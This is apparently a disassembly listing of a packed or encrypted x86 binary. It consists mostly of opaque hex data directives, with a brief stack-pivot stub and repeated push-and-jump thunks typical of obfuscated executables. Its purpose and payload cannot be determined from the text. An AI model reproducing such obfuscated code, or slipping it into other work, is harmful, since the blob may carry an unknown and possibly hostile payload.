		dd 10EB674Ah, 554F4A2Ch, 3FF95CF4h, 0CB4F6E95h,	0E12770CBh
		dd 246A04DBh, 91A66ACCh, 0CE81406h, 0E000000h, 7A0A244Ah
		dd 0D195A6D5h, 0BA61A9A6h, 33CC38DAh, 54D8815Eh, 815A71BEh
		dd 60CAC6h, 8E900h, 80610000h, 88A3752Ch, 868BF23h, 66000018h
		dd 5F796EB8h, 0B41E8BF9h, 0CEC381A7h, 811EA296h, 2745A6EBh
		dd 0E8566054h, 10h, 65509256h, 60886AC9h, 704C9951h, 0B0FEE8ABh
		dd 0EF815A58h, 1436CA8Eh, 0D8C38161h, 0F06CCB3h, 283h
		dd 8992B600h, 14B9661Eh, 58EE8127h, 66330828h, 0A3E4EA81h
		dd 2854C681h, 0E9813308h, 2DA9C093h, 1EF81h, 850F0000h
		dd 0FFFFFF99h, 0CE9h, 14C5D600h, 96C448B6h, 0B21931CCh
		dd 0A48D8DFCh, 6A05EDC1h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 6102C355h, 13BDBD01h
		dd 8D8905E8h, 5E8159Dh,	0C05BD8Bh, 85C705E8h, 5E80705h
		dd 686Ch, 0A6185C7h, 5E8h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0B5FF12C3h
		dd 5E83075h, 12E9h, 1C100400h, 816F880Fh, 0F3E5BB59h, 28B0C25Bh
		dd 0FFD76843h, 0E8081595h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 6AD507h, 20F995FFh
		dd 0C08B05E8h, 0DF604AEBh, 18D6403Ch, 8D2F53D3h, 1972FFDh
		dd 866BC567h, 0F6F1607h, 5EEBB7A5h, 0F21D0FD7h,	72EFEC40h
		dd 2196A35Bh, 0AAA0CAA4h, 0BEAB4E81h, 8FA84A3Ah, 2B0655F5h
		dd 843DEDE0h, 2F7EDF52h, 0F2E5D8CEh, 8BC31278h,	90737A60h
		dd 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh, 92B395A7h
		dd 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h
		dd 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h
		dd 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh
		dd 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h
		dd 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h
		dd 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh
		dd 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h
		dd 97B3EDh, 0E7A601E8h,	83323D94h, 2555BBDDh, 1330E9h
		dd 0C4A16800h, 0EFE905EDh, 68FFFABBh, 5EDC5ADh,	0FABBE5E9h
		dd 0C67468FFh, 0DBE905EDh, 68FFFABBh, 5EDC817h,	0FABBD1E9h
		dd 0C8A268FFh, 0C7E905EDh, 68FFFABBh, 5EDC939h,	0FABBBDE9h
		dd 0CA1D68FFh, 0B3E905EDh, 68FFFABBh, 5EDCABBh,	0FABBA9E9h
		dd 0CB6B68FFh, 9FE905EDh, 68FFFABBh, 5EDCCC1h, 0FABB95E9h
		dd 0CD9E68FFh, 8BE905EDh, 68FFFABBh, 5EDCEE1h, 0FABB81E9h
		dd 0D03C68FFh, 77E905EDh, 68FFFABBh, 5EDD250h, 0FABB6DE9h
		dd 0D35668FFh, 63E905EDh, 0AFFFABBh, 8AFC9D07h,	0E80218Bh
		dd 9305A616h, 1A8C2D91h, 4E0DAE16h, 7155DD8Eh, 0F3E95ED0h
		dd 7967E052h, 0FCE066D8h, 6E09F75Bh, 0A2B5FABAh, 0CCFDE8AAh
		dd 86746246h, 0C0A27033h, 3BD69BABh, 9CC84D87h,	0D4AB096Fh
		dd 57F8EC62h, 0E053877h, 0F75DC39Ah, 1E3F6E09h,	970996E0h
		dd 0F45A319Dh, 9168CE96h, 0B0533EF6h, 94ED45A2h, 6A0EC816h
		dd 0BDB5270Fh, 0AE0C7249h, 4025h, 1F5E3A00h, 206F0AF8h
		dd 4E96E00Ch, 9C7359DCh, 5D43C436h, 0E3BA2086h,	0B0429048h
		dd 0BBA997A2h, 0B0436C20h, 48BCB2A2h, 0DD430B71h, 405A277Fh
		dd 906755CEh, 0A0EECC2Ah, 640F6A02h, 0EBh, 0C7625079h
		dd 9CC83813h, 0CD3F9D03h, 0E2207647h, 70110D70h, 2E7C9E1Dh
		dd 177D9100h, 565ACE40h, 0AE85EBD1h, 0FBD2363Ch, 7E1F8389h
		dd 0C8C144E3h, 23BEAC9Ch, 9CC8C66Fh, 0B6510457h, 191BE47Fh
		dd 6DE355B3h, 0E066D879h, 0B38A76F0h, 0BD762AC5h, 0F85E9CC8h
		dd 75552C92h, 9AC12236h, 77CA3630h, 62C882D7h, 443ED974h
		dd 96FC96E0h, 0A3D615F5h, 663DA1h, 4CBEAC9Ah, 7258F3C4h
		dd 0F945258h, 0E2B04BA9h, 0B29CC596h, 64EC5E4Ch, 9A49280h
		dd 9CCAB955h, 685CD345h, 9103A402h, 0A3DB2599h,	0BFF1D323h
		dd 107A34E8h, 0E46D0000h, 68ED5F00h, 0F571E384h, 7CF66809h
		dd 0F57DEF90h, 0EDB17011h, 33D4C840h, 0B5564AC1h, 3BDCC043h
		dd 0BE5F43C9h, 1DD16C5Ah, 0DA2B5FCh, 44CC604Bh,	0C74DBF60h
		dd 380CC05Bh, 96FC9CC8h
		dd 5EA48F30h, 8167EC1Fh, 52F144AAh, 1FF7226Eh, 1FBAA80Eh
		dd 96E106D0h, 7E6EE658h, 0CF6A5820h, 0A2B1291Bh, 683FA50Bh
		dd 0B12915CDh, 0BC2E1CA2h, 187E55BBh, 7B1F62BAh, 0EF18A128h
		dd 44A211FDh, 6AE41866h, 0F05770Fh, 5169DFAEh, 0DC42511Dh
		dd 0BDF57Eh, 95070000h,	0B92D2393h, 0B8167CE2h,	6246CCCDh
		dd 37EB8674h, 1F9CC838h, 96845BB9h, 0E6BD2324h,	0B8B02280h
		dd 33D26D44h, 399CC834h, 0BC2ECF33h, 9B7B52B6h,	0AC47355Ch
		dd 96E00A11h, 0A79583E9h, 0B04A580Ch, 7CDA40A2h, 95BCFBDBh
		dd 0BF3F35A7h, 167C534Bh, 0C96452B0h, 9CCAA3CEh, 66D8C62Ch
		dd 848CFEEEh, 62D4C220h, 0E355F6EEh, 0EB2D776Fh, 1BF1D356h
		dd 0F6E9044h, 0F0790000h, 7CF96B0Ch, 0F97DEF90h, 27415h
		dd 8189FB9Ch, 0E1BD7C1Dh, 3FE0C44Ch, 0C16246CDh, 47E8D44Fh
		dd 0CA6B5FD5h, 29DD7866h, 11A2B5FDh, 44CC644Fh,	6007260h
		dd 299B3C9Ah, 301EBF23h, 7E5547BEh, 0CCCFBA18h,	198B6246h
		dd 200EAF13h, 383AB6AEh, 3197FDD4h, 0F9E561D3h,	46BAB022h
		dd 2F9255A5h, 40DBC9F0h, 96E017BDh, 12AD278Dh, 0AD2B075Bh
		dd 0DFCDF433h, 0B46803F1h, 0A48F2A48h, 0CA45E03Eh, 3089422Eh
		dd 1705F3CAh, 523FC87Ch, 0EC4AB094h, 0B8A6CD0Ch, 67C5351Dh
		dd 0DF513F8Eh, 24D8736Bh, 148F29ABh, 228850AEh,	584CC234h
		dd 0CB76C9B7h, 0E3F8D593h, 5FD547A5h, 0FFDD216Bh, 4219E431h
		dd 0EA78Eh, 0D3C94000h,	5745C032h, 0DCC044B6h, 634FC93Bh
		dd 0E4D850C2h, 13D88443h, 9406A71Fh, 1688299Fh,	9C0EAF1Dh
		dd 2D913296h, 0FDF0A43Fh, 16D8A2B5h, 6246CC2Bh,	14AF9D8Bh
		dd 9CC83860h, 9262F548h, 1F1BE632h, 7C30CBB9h, 6C9CC86Eh
		dd 89C8A806h, 0E151D175h, 25206D57h, 147AE0B7h,	60D2C0AEh
		dd 0DD4F0DE6h, 13286ADFh, 0D33B3BADh, 39FFDA75h, 0C53796E0h
		dd 1D835A4Eh, 0F73616B7h, 0AC47E2D0h, 8A9CC822h, 0FAB24D24h
		dd 19CC854h, 84D2D8A9h,	48098214h, 5Ch,	0F81F5E5Dh, 932E1C0Ah
		dd 9CC837DFh, 680361C7h, 96E0CA96h, 53C144B6h, 0B08504B8h
		dd 288EF4A2h, 0E84EBEB6h, 228E88FAh, 9987E54Bh,	1FC02C27h
		dd 0B084CA84h, 0BA694A2h, 0A2B08557h, 97BD93Fh,	10FE9F03h
		dd 84D38722h, 1C19A2B0h, 0AB73D9B0h, 0F275E745h, 0B583370Eh
		dd 9800000Dh, 5CB9FD50h, 3C111409h, 0D82BA5EEh,	3391F0DCh
		dd 0FFED1453h, 0C422868Dh, 0C2363BD6h, 7AE096DEh, 6A50398Ch
		dd 1D85A0E0h, 0E95FD1BFh, 7E1907F5h, 0A2B5F7CAh, 55F654BAh
		dd 8171F567h, 0D93F168Ah, 0E3369C73h, 82837F17h, 0EB5DBB07h
		dd 0CAAA8165h, 0EED2588Bh, 0DA8E2917h, 0CAA2B575h, 0AA98FE64h
		dd 0CBB46F0Fh, 4B399F9Ch, 928253D9h, 0EC1DBEE0h, 2B19BA20h
		dd 7B52BEB9h, 0E262B228h, 74DA41A3h, 4DAEA416h,	4EB759E7h
		dd 8259BF0Eh, 4E3C63A2h, 23D77260h, 139CC8AAh, 0D1353BADh
		dd 5A51D873h, 9B0196E1h, 0B8E44351h, 0C87C53F7h, 0D04h
		dd 0D5766EE3h, 59FAE263h, 0DE7F6FE7h, 6506EA6Ch, 0E6877FF3h
		dd 0B2B67727h, 3037A94Ah, 0BEB92BCCh, 0C93FB152h, 0E2D034D5h
		dd 0B5FF9347h, 0D6C183A2h, 0C837EBA3h, 5662B59Ch, 0B9234298h
		dd 9A69075Ah, 0CFDBD279h, 1F529171h, 0CA41B32Bh, 3399FFD6h
		dd 19F2AA45h, 7CE296DFh, 0B2161C8Eh, 0E6DE52C4h, 0AA10BC0Fh
		dd 56CA2BA0h, 7FF192F0h, 5E3E1589h, 980AF81Fh, 0E1CF2D93h
		dd 0CD4B6B46h, 1B65CB9Ch, 0F1D5B6FBh, 799C5027h, 6E00000Ch
		dd 0EE6001FBh, 72E48577h, 0F7690AF2h, 7EF0917Dh, 0B271128Ah
		dd 0D5C941EAh, 574DC234h, 0DDC344B6h, 6044CA3Ch, 0D26D5BBFh
		dd 0A2B6001Eh, 0CC594406h, 198B6246h, 37AFA313h, 99A7FA60h
		dd 0BB450999h, 0C93D147Ah, 4C9A1071h, 1009827Ah, 6A5h
		dd 0F81F5E25h, 75E46F0Ah, 9E8C96DEh, 0B5FA4F03h, 73D137A2h
		dd 0E55745ABh, 68DA7B6Fh, 0FF7DF2E2h, 0B5F9B064h, 0CC3298A2h
		dd 3CF48F66h, 14A2B5FAh, 25C0AED5h, 9CCDD84Ah, 5680CA30h
		dd 96F1D682h, 0BE20BBFh, 0C050000h, 8085F798h, 0D097B1Ch
		dd 948E00A1h, 1D158728h, 954908A9h, 0CB6C50D8h,	4DEED259h
		dd 0D37458DBh, 56F7EB61h, 0B56904F2h, 0A5A2B600h, 0FD50F8E3h
		dd 65877937h, 2C289A58h, 2583E9C0h, 5B49BDB3h, 0D8404808h
		dd 0F27573CCh, 734AA80Eh, 0C0970B01h, 66EC5E4Ch, 0E745AB82h
		dd 6AB8F28Fh, 2E0982DCh, 5F9h, 37EBA343h, 84C39CC8h, 2E816F5Dh
		dd 518F9A01h, 0D570CEBAh, 96DEFC0Ah, 0EFCEA50h,	7BD18520h
		dd 53B9A2B5h, 198D83F5h, 19C8A78h, 0A2B57C4Dh, 779D73Dh
		dd 25999101h, 7047BFB3h, 0C8B6A40Ah, 0B57C792Dh, 4EBEB7A2h
		dd 0E3491177h, 4EC0AE85h, 0A80EE5D7h, 42B6A4Ah,	4C3A2816h
		dd 0B57BFDB1h, 0EC87EDA2h, 0A2B57C38h, 0C15CBA20h, 9CCD59E6h
		dd 0B8A4EE54h, 0C4F1D608h, 0AFE39EDh, 60E90000h, 0EC69DB7Ch
		dd 69ED5F00h, 0F072E485h, 71F96B0Ch, 712DEC8Dh,	0AF50B4BCh
		dd 31D2363Dh, 0B75844BFh, 3ADBCF45h, 994DE8D6h,	81A2B601h
		dd 0FD50D4BFh, 6650A440h, 4BBD1BD0h, 1C0AE1C5h,	0CDC085C9h
		dd 60BE6081h, 0AD8478EEh, 0AA0E139h, 982CFBCh, 52480h
		dd 1F5E9500h, 0FA986BECh, 309D0A65h, 157B52B8h,	61D3C1AFh
		dd 29DFBE7h, 96DEA228h,	0DAC8B61Ch, 0A301EF68h,	26C73B31h
		dd 734ABEB4h, 0B62620D8h, 92B9F8A2h, 42E09A4h, 0A60C9CCEh
		dd 0D66E665Ch, 0FBAF86F1h, 0A60h, 791A8287h, 0FD9E0E07h
		dd 82238B8Bh, 9AA1610h,	8A2B9397h, 0D65A13CBh, 54DB4DEEh
		dd 0DA5DCF70h, 6DE355F6h, 8674D879h, 0B60237EBh, 725D1FA2h
		dd 8B6246CCh, 0D8AF1319h, 35750C64h, 981F3E7h, 498ABh
		dd 0FD50C000h, 87D6F2Dh, 8C278567h, 9CC916D9h, 84566AA9h
		dd 8133CC5Ah, 88FAE84Eh, 0E0461D83h, 0FCF99482h, 0FA96DEF2h
		dd 3E34A694h, 0B1B729CAh, 68ED5F4Dh, 370EF278h,	2E946BD1h
		dd 0DA19F9D0h, 503EAEA7h, 0B5F701B5h, 1D83E9A2h, 0CA45942Fh
		dd 9D0F9CCDh, 0F65C3397h, 0EA5ED098h, 4FB51BF2h, 0D655FD05h
		dd 0AE6239F1h, 9B0h, 29CA3237h,	0AD4EBEB7h, 32D33B3Bh
		dd 0B95A46C0h, 3ADBC347h, 60AA37Bh, 848BFD9Eh, 0A0D7F20h
		dd 9D9305A6h, 36248829h, 0B602E79Bh, 220DCFA2h,	3434FD50h
		dd 90217584h, 564AC032h, 0A3070D7Fh, 0DCA5FDCCh, 0E2D0343Ah
		dd 66922A8Fh, 53A676D7h, 0A4495309h, 0DA7BD91Ah, 82EDAEFCh
		dd 989B0D09h, 444DD634h, 62000001h, 746246CCh, 0F0196021h
		dd 0CF75563Fh, 0E569BC31h, 229A8EE7h, 15875EBCh, 36A69F1Fh
		dd 0F293F95Fh, 0BEACD312h, 74197DD0h, 0EEBC91A9h, 0C8C79F53h
		dd 0C321879Ch, 9A0B3AD5h, 85EB96E0h, 0D65B13AEh, 0A62A2B0h
		dd 0B9B12377h, 0BB09E745h, 7F0F6A91h, 3Fh, 377B3E91h, 60CB2315h
		dd 1F5E1702h, 206F0AF8h, 4E96E00Ch, 0BE7611E8h,	4A2B042h
		dd 308CAC0Fh, 376A3ADCh, 8088FAD1h, 41ABAA1Ch, 3B469E6Ah
		dd 0A3DE36E7h, 6ADDB907h, 0A37D0Fh, 50920000h, 9C7369DEh
		dd 0E066D836h, 0BFB325FCh, 8FE7047h, 0C54BBD94h, 0A3BDD5F4h
		dd 72D880AFh, 0F471E3D1h, 6DCB3108h, 0C96923D2h, 0F47BED9Ch
		dd 0CA40B210h, 165535D6h, 56601EFh, 996E2E8h, 0CF43B5A3h
		dd 0BE96E9D7h, 0ABE90236h, 0A315B614h, 1BED37AFh, 2BF7BAB8h
		dd 85AA054h, 848D0000h,	80D7F20h, 959103A4h, 1C168829h
		dd 959D0FB0h, 0DD19031h, 53F4E860h, 0D5766AE1h
		dd 5BFCE063h, 0DE7F63E9h, 3DF18C7Ah, 2DA2B604h,	44CC806Bh
		dd 38893DD8h, 4DC79CC8h, 23279961h, 4EEF55BBh, 0D17256DCh
		dd 6246CCE6h, 0AF13198Bh, 2835A0Eh, 5E6F0000h, 0B70AF81Fh
		dd 42B3B46Fh, 6F5DBB61h, 0E1C18DD4h, 8057BD96h,	0B1222DE5h
		dd 0A5DC34A2h, 6AE1B705h, 2287B0Fh, 0A3900000h,	9CC837EEh
		dd 7529C4B2h, 3F9CC838h, 0C837F0A4h, 0AA72D89Ch, 0C706E644h
		dd 5604DAB3h, 0D75DFF34h, 39278DF3h, 0DEE2AB9Eh, 47359B96h
		dd 92695DD5h, 6EE0CE2Ch, 0F16304F8h, 0D0B0877Bh, 0F2EA5E91h
		dd 0B4039E8Ch, 0A29CCDBAh, 0F9C0584Fh, 0CD3B8E72h, 9AE44A41h
		dd 0F1D5DDC6h, 7D570BE2h, 6A000007h, 0EA5CFDE7h, 6EE0816Bh
		dd 0F36506F6h, 7AEC8D71h, 0AE6D0EF6h, 0D1353DEEh, 5349BE30h
		dd 0D9C740B2h, 5C40C638h, 0CE6957BBh, 0A2B6051Ah, 0CC5D480Ah
		dd 0EBD15646h, 363CAE85h, 0D42CFBD2h, 0F3E369ADh, 4FB58C70h
		dd 0D7357DDh, 45A9AD1Fh, 1A6846E7h, 0DE0981F7h,	16Eh, 8887EF0h
		dd 62C89F0Dh, 61BF25FCh, 7546CC76h, 0A0BD43FDh,	0E76BDDDBh
		dd 50C299FFh, 6545E6DAh, 28DC7726h, 109CC8C9h, 0BB5644AAh
		dd 96E09A8Ch, 2DE17C6Ah, 1DA2B0D7h, 8C7A51B7h, 0D74F039Eh
		dd 0D137A2B0h, 97F5E95Fh, 0B0D744FCh, 8EF34BA2h, 6A92CE1Ch
		dd 2F920Fh, 5EA70000h, 6F0AF81Fh, 96E00C20h, 11C5604Eh
		dd 0F9A2B043h, 0BB562D93h, 0A2B04303h, 0A5AA1C0Ah, 0A402683Fh
		dd 2775354Ch, 0EB0F6A02h, 0C7h,	6246CC00h, 0AD11198Bh
		dd 0FAEE64D6h, 3BBBB123h, 624EC838h, 5AF596FCh,	9CC8C5DBh
		dd 0C6675BD1h, 9280A7E6h, 42B42820h, 9F05DCC0h,	0F3655341h
		dd 50B68D71h, 0E2F657F2h, 0B21896E2h, 5EDE52C4h, 0EB866AECh
		dd 0A2B32C37h, 6553B91Fh, 0B68D71F3h, 0DF51F250h, 4B29736Bh
		dd 7BF7BB96h, 63AF0A4h,	0A4AD0000h, 282D9F40h, 0B5B123C4h
		dd 3C36A849h, 0B5BD2FD0h, 2DF1B051h, 73148880h,	0F5960A01h
		dd 7B1C8083h, 0FE9F0309h, 5D11AC9Ah, 4DA2B606h,	6250A08Bh
		dd 0B28977F0h, 37FDB14Ch, 87ED9CC8h, 5EB3B729h,	287EAC12h
		dd 0D9F1686Bh, 0D2B3AD9Fh, 0F365066Ch, 209D9C7Dh, 7E29012Bh
		dd 0DB41F590h, 0C3299CC8h, 0CCD1BC5Dh, 9D8B6246h, 0EDC4282Bh
		dd 0B1B72987h, 3EF8AC4Dh, 0A000000h, 37CD811Ch,	57BD9CC8h
		dd 46CC0EF9h, 13198B62h, 3220D8AFh, 37F5A944h, 9C5A9CC8h
		dd 84272C9Eh, 0D6349A62h, 1D13037Eh, 37D28621h,	5CC29CC8h
		dd 929608F6h, 772BCC2Ah, 30h, 6246CC8Ch, 2A2B9D8Bh, 12C964C2h
		dd 569CC838h, 0A416EDDFh, 671BB6A2h, 4F9CC838h,	0F4AC83E9h
		dd 3631E59Ch, 278DF3CAh, 0F81E63BBh, 2ED8E72h, 8B6246CCh
		dd 33396CABh, 0E07B69CFh, 96DE75DBh, 0E55745ABh, 68DA7B6Fh
		dd 7F8011E2h, 0C50B98D0h, 69A8885Fh, 19B95442h,	0D39CCBE9h
		dd 0A2F5E961h, 2320D7F0h, 78409E86h, 2A9C0006h,	87EDC428h
		dd 4BC13321h, 0CE44B657h, 0E42303DAh, 6FE1CFBDh, 0CA705F9h
		dd 96E1DE85h, 99146755h, 2D8D73Fh, 0B2863AD5h, 86EA2B0h
		dd 1BA858A2h, 0DDB4F7B9h, 4DF29h, 9B010800h, 1F8D88FAh
		dd 0A4080C7Eh, 2B979103h, 0AC10188Ah, 0DB904C0Bh, 5CCE6F57h
		dd 0DE50F1D7h, 64D67765h, 0F559FAEEh, 7B86C07h,	0DEA0A2B6h
		dd 5646CCF3h, 9C8AF0DCh, 0A7D42B2Ah, 97A3F517h,	3DA37AE0h
		dd 46CC3EDFh, 13198B62h, 0B109D8AFh, 0D358CAD0h, 171D8FEDh
		dd 0E63412B3h, 0AA0982A9h, 3Fh,	701F5EBFh, 0C83821D5h
		dd 3DA3099Ch, 0CAE2B44Fh, 196C96E0h, 0C372BEFh,	140F8156h
		dd 1C824AA8h, 55BBBC2Eh, 265F19B4h, 0AFA5A2B1h,	59DB4D3Bh
		dd 0DA389E75h, 604CC739h, 43ED589h, 0CCEA0000h,	2746246h
		dd 46499C00h, 0EBE20EE7h, 74E6BD1Bh, 89690AFEh,	4C009B4Ah
		dd 3C9CC8CCh, 948270D6h, 0FACC2322h, 0CD61AA42h, 3DD8369Ch
		dd 96E0890Eh, 0E9DF54C6h, 864EAC12h, 0BEAC1014h, 0B0A96F23h
		dd 8BF157A2h, 0A96119B4h, 7A68A2B0h, 0A93DF18Ch, 8383A2B0h
		dd 16DE441Bh, 87FA52B0h, 6A64D523h, 4B990Fh, 5EAE0000h
		dd 1C0AF81Fh, 0F89068C9h, 60BE5EC3h, 0E10276C5h, 526BBE96h
		dd 6B3B3E0Ch, 0B61CE442h, 8B3FDAC8h, 7BA2B118h,	37AFA315h
		dd 0C59CFA60h, 0B119722Ah, 602179A2h, 6AD7FC4Ah, 0D26D5B0Fh
		dd 0A2B10D1Eh, 0B942A006h, 113h, 6246CCCEh, 0AD11198Bh
		dd 8236D1BFh, 729CC838h, 65D7AE0Ch, 0B224FBEFh,	0D53B3CBCh
		dd 268A8CFEh, 1D83E94Fh, 0F2A6412Fh, 0E29CC837h, 8F7D1E7Ch
		dd 0A3A8181Dh, 8E00D73Dh, 0E84E2597h, 0EA892482h, 7E9CC833h
		dd 1731488h, 0E0C0970Bh, 0F18C7AA1h, 96E02052h,	196C5AC0h
		dd 29C5727Dh, 0A89C69E8h, 0C5F5B804h, 22D6715Fh, 12A2B0A7h
		dd 0CDAD4EACh, 8B79678Eh, 338EED38h, 178428F4h,	0F764556h
		dd 0B44FAD13h, 9CC5B751h, 36AAA113h, 22D6715Fh,	129CCB18h
		dd 20E846ACh, 17E39732h, 6DD39CCBh, 48C61907h, 0F8665851h
		dd 5DCFBD1Bh, 796DE5D5h, 8007213h, 0F5904A94h, 0D9B0F1D2h
		dd 2CB25h, 0AF151C00h, 33999C0Eh, 0B8242092h, 3FA3A517h
		dd 0C0242C9Eh, 0EFBC601Fh, 70E2837Bh, 0F26405FBh, 78EA8B71h
		dd 96D0EF2h, 9CC801Bh, 0FABCA2B6h, 64DE500Fh, 37A155F0h
		dd 23899CC8h, 2280E6BDh, 0A344B8B0h, 26C73B31h,	0FBAF4A38h
		dd 0EB9CC837h, 5E3C2785h, 866AEC1Fh, 48973220h,	2696E00Ch
		dd 734ABEB4h, 47B9A70Dh, 0A980DECEh, 0B043560Eh, 7C055DA2h
		dd 6A02E02Eh, 0C2A40Fh,	0CCB90000h, 2746246h, 6EC1980Ch
		dd 0DCCF86C1h, 0BD1B81C5h, 80FC74E6h, 0C8B931E5h, 9F56F9Ch
		dd 9E04CC32h, 27C66138h, 3D9CC8B5h, 0FCB04B37h,	0EC9CC8B9h
		dd 1569CD99h, 3EA41E67h, 4FC537D8h, 74FB6D5Bh, 0F553B990h
		dd 0D8FF3E1Eh, 1EB04FEAh, 705E96E0h, 0B05021D5h, 3DA309A2h
		dd 4A7DBC9Ch, 6F53D5CBh, 66CC3298h, 0AA17DD78h,	0D93F9CCAh
		dd 0DF179EBh, 0A176FA6Ch, 94189h, 8DD73D3Eh, 0F1D353D1h
		dd 0C57226FDh, 22000001h, 0A214B52Fh, 269839A3h, 0AB1DBE2Eh
		dd 32A445A9h, 6625C63Eh, 897DF5B6h, 0BF176E8h, 917FF86Ah
		dd 14887EF0h, 86210F73h, 0A2B60AD2h, 0CC1500C2h, 4DBF6044h
		dd 5742E3C7h, 8B6246CCh, 0C1AF1319h, 72E4D84Fh,	0CA3007FDh
		dd 0D359CB6Ch, 968F01EFh, 11F1C826h, 22BDABD2h,	96E0E607h
		dd 0E6B289EFh, 2D23F38Eh, 0F93818B9h, 69FBAF4Ah, 85EBA2B0h
		dd 45BF311Fh, 720DFB59h, 9CC84FA7h, 40B289EFh, 47FFD6CAh
		dd 7B63E759h, 88E03EA4h, 4970AFF9h, 4A1A6D5Bh, 542A96B7h
		dd 9F6A0563h, 0D796E0CDh, 8E308371h, 3A9B0658h,	41B354B2h
		dd 634BCBCBh, 0E9C0268Ch, 2210FC77h, 0E644B8B0h, 369A9D0Fh
		dd 876BED5Fh, 0D5AC1015h, 4FD3AE06h, 44562B83h,	936A52D2h
		dd 0D75DCF2Dh, 7C1705F3h, 0A2B059C8h, 4BEC4AB0h, 17052C6Bh
		dd 643BAFA5h, 5A27DB76h, 0A90FA2B0h, 5CF7E543h,	9CC90741h
		dd 4ABC93F9h, 3D09E0C4h, 12C6614Fh, 29CC848h, 9BE63E9Ch
		dd 1B8B8DFFh, 0F14FB519h, 0E5BED211h, 0D852AB7Fh, 0D23E39ABh
		dd 0C8E37E6Ch, 0AE96E139h, 9E7125C0h, 0F359A2B0h, 0CD0CEC8Dh
		dd 5930949Ah, 1A8681F3h, 0EAD8C6B4h, 350CF078h,	9E8034CFh
		dd 0F668A2B0h, 0B7298F7Dh, 10764DB1h, 0DBFA17B2h, 56BC9CC6h
		dd 0A3070D7Fh, 269A9002h, 4E80B44Fh, 2078FD96h,	4BBFB561h
		dd 766AEB5Dh, 0D0A70DFFh, 0F96B0C6Ah, 9F950773h, 53EE542Bh
		dd 0BD86009Fh, 0B8AF2187h, 0A1076D44h, 0EBC441B3h, 0D6412851h
		dd 2E056B59h, 21936AC8h, 18E4BB27h, 0DF55C1C0h,	52D84AEBh
		dd 0DE3976Eh, 0F8000000h, 39E8C7Ah, 9CC8384Fh, 8873D137h
		dd 885F45CCh, 0D5AC1016h, 25FCE063h, 7148BCB3h,	0BC930BFFh
		dd 7DEC64Ah, 582F9395h,	0A77E6EE6h, 0F5CC3035h,	0E6895673h
		dd 4C681h, 0EE830000h, 24348704h, 240C895Ch, 3BD68h, 24148900h
		dd 136C68h, 24348900h, 6093BE56h, 0E6C1740Eh, 4C68106h
		dd 816C8F2Bh, 0D87A79EEh, 0C4CE8150h, 817A9E7Dh, 0F13A91EEh
		dd 5E5A5679h, 5E2568h, 24248900h, 4240481h, 5E000000h
		dd 60BE5652h, 290CA826h, 5E042474h, 8108468Fh, 26600846h
		dd 34FF0CA8h, 0C4835E24h, 24148B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		db 0D3h, 0D7h, 0AAh
		dd 83D2CA6Eh, 0A7B08772h, 0D540B892h, 0C50305EDh, 0AF7FE0FFh
		dd 0C0963B53h, 5E656C0Fh, 773F20C9h, 7FE92FC0h,	0A5F1557Dh
		dd 0CAA663B7h, 22490DFAh, 0B0C4341Fh, 444131F2h, 633F3E4Eh
		dd 0C3553C56h, 0A0B8695Fh, 6706164Ah, 0DB506224h, 6049401Bh
		dd 0AADE3778h, 0E8FB2259h, 0C3892070h, 8CB85FC8h, 0ABCA3B2Dh
		dd 2B7C51CDh, 0C9E4751Dh, 0BBDE4B6Fh, 7B684616h, 99E833BCh
		dd 649549EDh, 7BA36D37h, 0AAE83D4Fh, 0F706707Ah, 8EB76F2h
		dd 1E3069E9h, 2410000h,	0C14E9h, 0D8036800h, 0DEE905EDh
		dd 68FFFB6Ch, 5EDD910h,	0FB6CD4E9h, 0DA8168FFh,	0CAE905EDh
		dd 68FFFB6Ch, 5EDDB5Bh,	0FB6CC0E9h, 0DBF468FFh,	0B6E905EDh
		dd 68FFFB6Ch, 5EDDDCFh,	0FB6CACE9h, 0DE7468FFh,	0A2E905EDh
		dd 68FFFB6Ch, 5EDDFE8h,	0FB6C98E9h, 0E0FB68FFh,	8EE905EDh
		dd 2FFFFB6Ch, 3F10D1ACh, 491ADB9Ah, 5122E38Eh, 5F30F18Ch
		dd 0E13F0077h, 0B7C016FDh, 0C2AD25F6h, 0CFAC3001h, 0D89B3D0Eh
		dd 26946817h, 5503C3B7h, 3506DA5Eh, 0FB7A5FA8h,	0FCD03398h
		dd 3C44F8Eh, 0CB63C655h, 86B6D12h, 7106D2A3h, 0F59853B0h
		dd 939DB321h, 0D705F19h, 8707D4A8h, 0A0C56F4Ch,	0F6815627h
		dd 28962E91h, 5508BEB1h, 44BB268Dh, 0B8C898C9h,	45DFh
		dd 2EE12600h, 0DCADC815h, 0AB0E7300h, 0D3A07448h, 0AE2B3A37h
		dd 32FF62C7h, 6C3DDA6Dh, 3B9E0370h, 317B35A3h, 0EF525F19h
		dd 74E2B68Ah, 55092F69h, 43B149ACh, 55092F96h, 59A041A8h
		dd 0B8C82CD4h, 0D8F4h, 6B6D3B00h, 99B42997h, 0FE615AF1h
		dd 7165369Bh, 0F1C599FEh, 0F19A5A83h, 0C058BB5Ah, 298EE9EFh
		dd 32F38058h, 0C11C8A5Eh, 545AF199h, 0A9EB59F1h, 0E75AF19Dh
		dd 0E1B286F1h, 0BA1D82F5h, 48906122h, 0A669C62Bh, 0FBC9370Bh
		dd 1A5F1985h, 0D699F6B7h, 4690CCDh, 996A3EA1h, 71D43944h
		dd 7C9705D9h, 1159331Dh, 4611DE44h, 0F1C22DF0h,	2DF991ECh
